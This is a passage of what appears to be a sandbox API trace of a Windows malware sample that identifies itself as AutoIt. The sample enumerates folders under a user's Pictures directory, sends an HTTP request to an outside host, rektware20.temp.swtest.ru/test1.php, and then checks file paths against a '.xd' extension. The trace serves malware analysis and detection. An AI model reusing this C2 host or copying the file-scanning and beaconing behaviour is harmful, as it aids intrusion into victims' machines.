FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.863] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.863] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.864] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.864] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.864] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.864] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.865] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.865] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0059.865] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.865] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.865] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.865] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.867] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.867] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.867] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.867] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.867] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.867] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.868] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.869] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.869] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.869] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.869] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.869] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.869] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.869] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.869] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.869] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.869] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.870] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0059.870] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0059.870] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.870] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.871] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.871] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.871] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.871] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.871] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.871] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.871] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.871] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.871] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.871] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0059.872] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0059.872] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.872] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.872] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.872] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.872] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0059.879] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.879] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.879] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.879] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.879] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.880] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.880] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.880] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.880] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.880] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.880] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.880] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.881] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.881] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.881] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.881] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.881] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.881] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.882] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.882] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.882] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.882] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.882] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.882] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.883] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.883] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.883] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.883] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.883] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.884] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SH", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0059.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0059.884] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.884] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.884] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.884] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.884] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.884] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.885] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.886] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.886] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.886] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.886] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.886] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.886] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.887] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.887] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.887] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.887] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.887] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.887] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.887] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.887] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.888] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.888] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.888] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.888] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.888] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.889] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.889] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.889] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.889] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.889] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.889] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.890] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.890] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.890] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.890] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.890] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.890] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.890] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.890] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.892] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.892] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.892] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.892] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.892] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0059.892] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.892] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.892] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SH", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0059.892] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0059.893] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.893] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.893] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0059.893] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0059.893] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0059.893] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.893] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0059.893] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.893] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0059.893] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0059.894] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0059.894] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.894] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.894] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0059.894] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0059.894] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0059.894] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0059.895] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0059.895] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0059.895] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.895] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.895] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0059.895] CloseHandle (hObject=0x0) returned 0 [0059.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 